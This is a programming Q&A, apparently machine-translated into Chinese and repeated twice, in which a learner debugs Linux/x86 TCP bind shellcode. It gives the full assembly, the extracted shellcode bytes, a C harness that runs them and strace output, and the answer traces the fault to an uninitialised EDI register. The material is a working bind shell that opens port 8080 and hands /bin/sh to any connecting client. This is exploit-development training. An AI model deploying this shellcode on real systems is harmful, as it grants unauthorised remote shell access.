TCP 绑定 Shellcode 不适用于 Shellcode 长度文件
TCP Bind Shellcode not working with Shellcode length file
我在 32 位 Linux 系统上,我正在为 TCP 绑定编写 Linux/x86 shell 代码。基于 Linux 手册页如下:
;;; Will be using socketcall - 102 for socket related calls
global _start
section .text
_start:
;;Socket
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register ; Desired Input ; Actual Value to be passed
;1 ;EAX ; SOCKETCALL ; 102 (dec), 0x66 (hex)
;2 ;EBX ; CALL ; 1 (for SOCKET)
;3 ;ECX ; args ; AF_INET = 2, SOCK_STREAM = 1, IPPROTO_IP = 0
;4 ;EDX ; dont care
;5 ;EDI ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
xor ebx, ebx ; cleaning EBX
mul ebx ; cleaning EAX
push eax ; IPPROTO_IP = 0
push byte 1 ; SOCK_STREAM = 1
push byte 2 ; AF_INET = 2
mov ecx, esp ; Moved Stack content to ECX
mov al, 102
inc bl
int 0x80
xchg edi, eax ; Got new socket descriptor. Will be used for further calls
;;Bind
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register ; Desired Input ; Actual Value to be passed
;1 ;EAX ; SOCKETCALL ; 102 (dec), 0x66 (hex)
;2 ;EBX ; CALL ; 2 (for BIND)
;3 ;ECX ; args ; SOCKFD = EDI, addr_in{AF_INET = 2, port number = network byte order, INADDR_ANY = 0}, addr_len = 16
;4 ;EDX ; dont care
;5 ;EDI ; New Socket descriptor
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
pop edx
xor ecx, ecx
mul eax
; this is for struct addr_in
push ecx ; INADDR_ANY = 0
push word 0x901f; Port 8080
push word 0x2 ; AF_INET = 2
mov ecx, esp ; moved details to ecx
push 0x10 ; standard ip address length
push ecx ; pushing addr_in
push edi ; SOCKFD value
mov ecx, esp ; got all arg in ECX
mov al, 102 ;
inc bl
int 0x80
;;Listen
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register ; Desired Input ; Actual Value to be passed
;1 ;EAX ; SOCKETCALL ; 102 (dec), 0x66 (hex)
;2 ;EBX ; CALL ; 4 (for LISTEN)
;3 ;ECX ; args ; SOCKFD = EDI, backlog = 0
;4 ;EDX ; dont care
;5 ;EDI ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
pop edx
xor ecx, ecx
mul eax
push ecx ; backlog = 0
push edi ; SOCKFD = EDI
mov ecx, esp ; Stored params to ECX
mov al, 102
mov bl, 4
int 0x80
;;Accept
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register ; Desired Input ; Actual Value to be passed
;1 ;EAX ; SOCKETCALL ; 102 (dec), 0x66 (hex)
;2 ;EBX ; CALL ; 4 (for LISTEN)
;3 ;ECX ; args ; SOCKFD = EDI, backlog = 0
;4 ;EDX ; dont care
;5 ;EDI ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
pop edx
xor edx, edx
xor ecx, ecx
mul eax
push ecx ; NULL
push ecx ; NULL
push edi ; SOCKFD = EDI
mov ecx, esp ; Stored params to ECX
mov al, 102
inc bl
int 0x80
mov ebx, eax ; oldfd
;;Dup2
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register ; Desired Input ; Actual Value to be passed
;1 ;EAX ; DUP2 ; 63 (dec), (hex)
;2 ;EBX ; oldfd ; EDX
;3 ;ECX ; newfd ; SOCKFD = EDI, backlog = 0
;4 ;EDX ; dont care
;5 ;EDI ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
xor ecx, ecx
mul eax
mov cl, 2
dup2:
mov al, 63
int 0x80
dec ecx
jns dup2
;;Execve for /bin/sh
xor eax,eax
push eax
push 0x68732f2f ; hs// - take care to the little endian representation
push 0x6e69622f ; nib/
mov ebx, esp ; pointer to command string
mov ecx, eax
mov edx, eax
mov al, 11 ; __NR_execve
int 0x80
现在当我 assemble 和 运行 这正常时,它工作得很好。
1: https://i.stack.imgur.com/adTm4.jpg
对象转储没有任何 NULL 字符。
shashank@ubuntu:~/Desktop/Exam/task1_take3$ objdump -Mintel -d tcp_bind
tcp_bind: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 db xor ebx,ebx
8048062: f7 e3 mul ebx
8048064: 50 push eax
8048065: 6a 01 push 0x1
8048067: 6a 02 push 0x2
8048069: 89 e1 mov ecx,esp
804806b: b0 66 mov al,0x66
804806d: fe c3 inc bl
804806f: cd 80 int 0x80
8048071: 97 xchg edi,eax
8048072: 5a pop edx
8048073: 31 c9 xor ecx,ecx
8048075: f7 e0 mul eax
8048077: 51 push ecx
8048078: 66 68 1f 90 pushw 0x901f
804807c: 66 6a 02 pushw 0x2
804807f: 89 e1 mov ecx,esp
8048081: 6a 10 push 0x10
8048083: 51 push ecx
8048084: 57 push edi
8048085: 89 e1 mov ecx,esp
8048087: b0 66 mov al,0x66
8048089: fe c3 inc bl
804808b: cd 80 int 0x80
804808d: 5a pop edx
804808e: 31 c9 xor ecx,ecx
8048090: f7 e0 mul eax
8048092: 51 push ecx
8048093: 57 push edi
8048094: 89 e1 mov ecx,esp
8048096: b0 66 mov al,0x66
8048098: b3 04 mov bl,0x4
804809a: cd 80 int 0x80
804809c: 5a pop edx
804809d: 31 d2 xor edx,edx
804809f: 31 c9 xor ecx,ecx
80480a1: f7 e0 mul eax
80480a3: 51 push ecx
80480a4: 51 push ecx
80480a5: 57 push edi
80480a6: 89 e1 mov ecx,esp
80480a8: b0 66 mov al,0x66
80480aa: fe c3 inc bl
80480ac: cd 80 int 0x80
80480ae: 89 c3 mov ebx,eax
80480b0: 31 c9 xor ecx,ecx
80480b2: f7 e0 mul eax
80480b4: b1 02 mov cl,0x2
080480b6 <dup2>:
80480b6: b0 3f mov al,0x3f
80480b8: cd 80 int 0x80
80480ba: 49 dec ecx
80480bb: 79 f9 jns 80480b6 <dup2>
80480bd: 31 c0 xor eax,eax
80480bf: 50 push eax
80480c0: 68 2f 2f 73 68 push 0x68732f2f
80480c5: 68 2f 62 69 6e push 0x6e69622f
80480ca: 89 e3 mov ebx,esp
80480cc: 89 c1 mov ecx,eax
80480ce: 89 c2 mov edx,eax
80480d0: b0 0b mov al,0xb
80480d2: cd 80 int 0x80
我提取了 shell 代码并添加了以下代码来检查 shell 代码长度:
shashank@ubuntu:~/Desktop/Exam/task1_take3$ ./shell_extracter.sh tcp_bind
"\x31\xdb\xf7\xe3\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x97\x5a\x31\xc9\xf7\xe0\x51\x66\x68\x1f\x90\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x5a\x31\xc9\xf7\xe0\x51\x57\x89\xe1\xb0\x66\xb3\x04\xcd\x80\x5a\x31\xd2\x31\xc9\xf7\xe0\x51\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc3\x31\xc9\xf7\xe0\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
添加了 shell 代码的 Shellcode 长度代码:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xdb\xf7\xe3\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x97\x5a\x31\xc9\xf7\xe0\x51\x66\x68\x1f\x90\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x5a\x31\xc9\xf7\xe0\x51\x57\x89\xe1\xb0\x66\xb3\x04\xcd\x80\x5a\x31\xd2\x31\xc9\xf7\xe0\x51\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc3\x31\xc9\xf7\xe0\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";
main(){
printf("Length: %d\n", strlen(code));
int (*ret)() = (int (*) ())code;
ret();
}
但是当我编译并执行此代码时 shell 在本地执行并且没有端口打开。
shashank@ubuntu:~/Desktop/Exam/task1_take3$ gcc -fno-stack-protector -zexecstack -o shell_length shell_length.c
shell_length.c:8:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main(){
^
shashank@ubuntu:~/Desktop/Exam/task1_take3$ ./shell_length
Length: 116
$
我不确定为什么会遇到此错误。我已经尝试了一切。
文件位于 Github link
tcp_bind 可执行文件的 Strace:
Strace for original NASM program:
shashank@ubuntu:~/Desktop/Exam/task1_take3$ strace -e socket,bind,listen,accept,dup2,execve ./tcp_bind
execve("./tcp_bind", ["./tcp_bind"], [/* 60 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1) = 0
accept(3, NULL, NULL) = 4
dup2(4, 2) = 2
dup2(4, 1) = 1
dup2(4, 0) = 0
execve("/bin//sh", NULL, NULL) = 0
+++ exited with 0 +++
Strace Shell_length.c 可执行
strace -e socket,bind,listen,accept,dup2,execve ./shell_length
execve("./shell_length", ["./shell_length"], [/* 60 vars */]) = 0
Length: 117
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
syscall_3288334438(0x2, 0xbfd116a0, 0x842a42e4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_1382(0x4, 0xbfd1169c, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_1382(0x5, 0xbfd11694, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_1343(0xffffffda, 0x2, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_4294967103(0xffffffda, 0x1, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_4294967103(0xffffffda, 0, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
execve("/bin//sh", NULL, NULL) = 0
$
为什么您的系统调用号损坏
您的 strace
很好地说明了您的问题所在。您会注意到 sys_socket
系统调用有效并返回了一个描述符 3:
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
没关系,符合您的期望。下一个系统调用是一个无效的系统调用号,它告诉我 EAX 中有无效数据(以及每个连续的数据):
syscall_3288334438(0x2, 0xbfd116a0, 0x842a42e4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
如果将系统调用号 3288334438(十进制)转换为十六进制,您将得到 0xC4000066。 EAX 的高位因此有垃圾。低字节是 0x66,即 102。102 实际上是您使用的 sys_bind
系统调用号。由于 EAX 有一个未知的系统调用号,它会打印出所有可能用于系统调用的寄存器的内容。 32 位系统调用(通过 int 0x80
)的寄存器顺序为 EBX、ECX、EDX 、ESI、EDI 和 EBP.
显然 EAX 对于 sys_socket
系统调用来说不是问题。我查看了第一次系统调用后如何使用 EAX 并注意到:
xchg edi, eax ; Got new socket descriptor. Will be used for further calls
问题是您从未在这一点之前将 EDI 初始化为零。您有效地将文件描述符移动到 EDI 并将潜在的垃圾移动到 EAX。我相信这是导致您的系统调用失败的原因。可能还有其他原因,但这解释了所有无效的系统调用。在执行 xchg
之前,您应该至少将 EDI 归零。这就足够了:
xor edi, edi
它在 运行 作为独立程序时起作用的原因是因为 EDI 可能已经为 0(或者高位为 0)。
学习使用调试器
除了了解如何解释 strace
的输出外,一个有价值的工具是 运行在 GDB 等调试器中编译您的代码。您将能够进入 shell 漏洞并查看寄存器内容以及您放置在内存(堆栈)中的数据。您也可能会使用调试器发现此问题。
我在 32 位 Linux 系统上,我正在为 TCP 绑定编写 Linux/x86 shell 代码。基于 Linux 手册页如下:
;;; Will be using socketcall - 102 for socket related calls
global _start
section .text
_start:
;;Socket
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register ; Desired Input ; Actual Value to be passed
;1 ;EAX ; SOCKETCALL ; 102 (dec), 0x66 (hex)
;2 ;EBX ; CALL ; 1 (for SOCKET)
;3 ;ECX ; args ; AF_INET = 2, SOCK_STREAM = 1, IPPROTO_IP = 0
;4 ;EDX ; dont care
;5 ;EDI ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
xor ebx, ebx ; cleaning EBX
mul ebx ; cleaning EAX
push eax ; IPPROTO_IP = 0
push byte 1 ; SOCK_STREAM = 1
push byte 2 ; AF_INET = 2
mov ecx, esp ; Moved Stack content to ECX
mov al, 102
inc bl
int 0x80
xchg edi, eax ; Got new socket descriptor. Will be used for further calls
;;Bind
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register ; Desired Input ; Actual Value to be passed
;1 ;EAX ; SOCKETCALL ; 102 (dec), 0x66 (hex)
;2 ;EBX ; CALL ; 2 (for BIND)
;3 ;ECX ; args ; SOCKFD = EDI, addr_in{AF_INET = 2, port number = network byte order, INADDR_ANY = 0}, addr_len = 16
;4 ;EDX ; dont care
;5 ;EDI ; New Socket descriptor
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
pop edx
xor ecx, ecx
mul eax
; this is for struct addr_in
push ecx ; INADDR_ANY = 0
push word 0x901f; Port 8080
push word 0x2 ; AF_INET = 2
mov ecx, esp ; moved details to ecx
push 0x10 ; standard ip address length
push ecx ; pushing addr_in
push edi ; SOCKFD value
mov ecx, esp ; got all arg in ECX
mov al, 102 ;
inc bl
int 0x80
;;Listen
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register ; Desired Input ; Actual Value to be passed
;1 ;EAX ; SOCKETCALL ; 102 (dec), 0x66 (hex)
;2 ;EBX ; CALL ; 4 (for LISTEN)
;3 ;ECX ; args ; SOCKFD = EDI, backlog = 0
;4 ;EDX ; dont care
;5 ;EDI ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
pop edx
xor ecx, ecx
mul eax
push ecx ; backlog = 0
push edi ; SOCKFD = EDI
mov ecx, esp ; Stored params to ECX
mov al, 102
mov bl, 4
int 0x80
;;Accept
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register ; Desired Input ; Actual Value to be passed
;1 ;EAX ; SOCKETCALL ; 102 (dec), 0x66 (hex)
;2 ;EBX ; CALL ; 4 (for LISTEN)
;3 ;ECX ; args ; SOCKFD = EDI, backlog = 0
;4 ;EDX ; dont care
;5 ;EDI ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
pop edx
xor edx, edx
xor ecx, ecx
mul eax
push ecx ; NULL
push ecx ; NULL
push edi ; SOCKFD = EDI
mov ecx, esp ; Stored params to ECX
mov al, 102
inc bl
int 0x80
mov ebx, eax ; oldfd
;;Dup2
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register ; Desired Input ; Actual Value to be passed
;1 ;EAX ; DUP2 ; 63 (dec), (hex)
;2 ;EBX ; oldfd ; EDX
;3 ;ECX ; newfd ; SOCKFD = EDI, backlog = 0
;4 ;EDX ; dont care
;5 ;EDI ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
xor ecx, ecx
mul eax
mov cl, 2
dup2:
mov al, 63
int 0x80
dec ecx
jns dup2
;;Execve for /bin/sh
xor eax,eax
push eax
push 0x68732f2f ; hs// - take care to the little endian representation
push 0x6e69622f ; nib/
mov ebx, esp ; pointer to command string
mov ecx, eax
mov edx, eax
mov al, 11 ; __NR_execve
int 0x80
现在当我 assemble 和 运行 这正常时,它工作得很好。
对象转储没有任何 NULL 字符。
shashank@ubuntu:~/Desktop/Exam/task1_take3$ objdump -Mintel -d tcp_bind
tcp_bind: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 db xor ebx,ebx
8048062: f7 e3 mul ebx
8048064: 50 push eax
8048065: 6a 01 push 0x1
8048067: 6a 02 push 0x2
8048069: 89 e1 mov ecx,esp
804806b: b0 66 mov al,0x66
804806d: fe c3 inc bl
804806f: cd 80 int 0x80
8048071: 97 xchg edi,eax
8048072: 5a pop edx
8048073: 31 c9 xor ecx,ecx
8048075: f7 e0 mul eax
8048077: 51 push ecx
8048078: 66 68 1f 90 pushw 0x901f
804807c: 66 6a 02 pushw 0x2
804807f: 89 e1 mov ecx,esp
8048081: 6a 10 push 0x10
8048083: 51 push ecx
8048084: 57 push edi
8048085: 89 e1 mov ecx,esp
8048087: b0 66 mov al,0x66
8048089: fe c3 inc bl
804808b: cd 80 int 0x80
804808d: 5a pop edx
804808e: 31 c9 xor ecx,ecx
8048090: f7 e0 mul eax
8048092: 51 push ecx
8048093: 57 push edi
8048094: 89 e1 mov ecx,esp
8048096: b0 66 mov al,0x66
8048098: b3 04 mov bl,0x4
804809a: cd 80 int 0x80
804809c: 5a pop edx
804809d: 31 d2 xor edx,edx
804809f: 31 c9 xor ecx,ecx
80480a1: f7 e0 mul eax
80480a3: 51 push ecx
80480a4: 51 push ecx
80480a5: 57 push edi
80480a6: 89 e1 mov ecx,esp
80480a8: b0 66 mov al,0x66
80480aa: fe c3 inc bl
80480ac: cd 80 int 0x80
80480ae: 89 c3 mov ebx,eax
80480b0: 31 c9 xor ecx,ecx
80480b2: f7 e0 mul eax
80480b4: b1 02 mov cl,0x2
080480b6 <dup2>:
80480b6: b0 3f mov al,0x3f
80480b8: cd 80 int 0x80
80480ba: 49 dec ecx
80480bb: 79 f9 jns 80480b6 <dup2>
80480bd: 31 c0 xor eax,eax
80480bf: 50 push eax
80480c0: 68 2f 2f 73 68 push 0x68732f2f
80480c5: 68 2f 62 69 6e push 0x6e69622f
80480ca: 89 e3 mov ebx,esp
80480cc: 89 c1 mov ecx,eax
80480ce: 89 c2 mov edx,eax
80480d0: b0 0b mov al,0xb
80480d2: cd 80 int 0x80
我提取了 shell 代码并添加了以下代码来检查 shell 代码长度:
shashank@ubuntu:~/Desktop/Exam/task1_take3$ ./shell_extracter.sh tcp_bind
"\x31\xdb\xf7\xe3\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x97\x5a\x31\xc9\xf7\xe0\x51\x66\x68\x1f\x90\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x5a\x31\xc9\xf7\xe0\x51\x57\x89\xe1\xb0\x66\xb3\x04\xcd\x80\x5a\x31\xd2\x31\xc9\xf7\xe0\x51\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc3\x31\xc9\xf7\xe0\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
添加了 shell 代码的 Shellcode 长度代码:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xdb\xf7\xe3\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x97\x5a\x31\xc9\xf7\xe0\x51\x66\x68\x1f\x90\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x5a\x31\xc9\xf7\xe0\x51\x57\x89\xe1\xb0\x66\xb3\x04\xcd\x80\x5a\x31\xd2\x31\xc9\xf7\xe0\x51\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc3\x31\xc9\xf7\xe0\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";
main(){
printf("Length: %d\n", strlen(code));
int (*ret)() = (int (*) ())code;
ret();
}
但是当我编译并执行此代码时 shell 在本地执行并且没有端口打开。
shashank@ubuntu:~/Desktop/Exam/task1_take3$ gcc -fno-stack-protector -zexecstack -o shell_length shell_length.c
shell_length.c:8:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main(){
^
shashank@ubuntu:~/Desktop/Exam/task1_take3$ ./shell_length
Length: 116
$
我不确定为什么会遇到此错误。我已经尝试了一切。
文件位于 Github link
tcp_bind 可执行文件的 Strace:
Strace for original NASM program:
shashank@ubuntu:~/Desktop/Exam/task1_take3$ strace -e socket,bind,listen,accept,dup2,execve ./tcp_bind
execve("./tcp_bind", ["./tcp_bind"], [/* 60 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1) = 0
accept(3, NULL, NULL) = 4
dup2(4, 2) = 2
dup2(4, 1) = 1
dup2(4, 0) = 0
execve("/bin//sh", NULL, NULL) = 0
+++ exited with 0 +++
Strace Shell_length.c 可执行
strace -e socket,bind,listen,accept,dup2,execve ./shell_length
execve("./shell_length", ["./shell_length"], [/* 60 vars */]) = 0
Length: 117
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
syscall_3288334438(0x2, 0xbfd116a0, 0x842a42e4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_1382(0x4, 0xbfd1169c, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_1382(0x5, 0xbfd11694, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_1343(0xffffffda, 0x2, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_4294967103(0xffffffda, 0x1, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_4294967103(0xffffffda, 0, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
execve("/bin//sh", NULL, NULL) = 0
$
为什么您的系统调用号损坏
您的 strace
很好地说明了您的问题所在。您会注意到 sys_socket
系统调用有效并返回了一个描述符 3:
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
没关系,符合您的期望。下一个系统调用是一个无效的系统调用号,它告诉我 EAX 中有无效数据(以及每个连续的数据):
syscall_3288334438(0x2, 0xbfd116a0, 0x842a42e4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
如果将系统调用号 3288334438(十进制)转换为十六进制,您将得到 0xC4000066。 EAX 的高位因此有垃圾。低字节是 0x66,即 102。102 实际上是您使用的 sys_bind
系统调用号。由于 EAX 有一个未知的系统调用号,它会打印出所有可能用于系统调用的寄存器的内容。 32 位系统调用(通过 int 0x80
)的寄存器顺序为 EBX、ECX、EDX 、ESI、EDI 和 EBP.
显然 EAX 对于 sys_socket
系统调用来说不是问题。我查看了第一次系统调用后如何使用 EAX 并注意到:
xchg edi, eax ; Got new socket descriptor. Will be used for further calls
问题是您从未在这一点之前将 EDI 初始化为零。您有效地将文件描述符移动到 EDI 并将潜在的垃圾移动到 EAX。我相信这是导致您的系统调用失败的原因。可能还有其他原因,但这解释了所有无效的系统调用。在执行 xchg
之前,您应该至少将 EDI 归零。这就足够了:
xor edi, edi
它在 运行 作为独立程序时起作用的原因是因为 EDI 可能已经为 0(或者高位为 0)。
学习使用调试器
除了了解如何解释 strace
的输出外,一个有价值的工具是 运行在 GDB 等调试器中编译您的代码。您将能够进入 shell 漏洞并查看寄存器内容以及您放置在内存(堆栈)中的数据。您也可能会使用调试器发现此问题。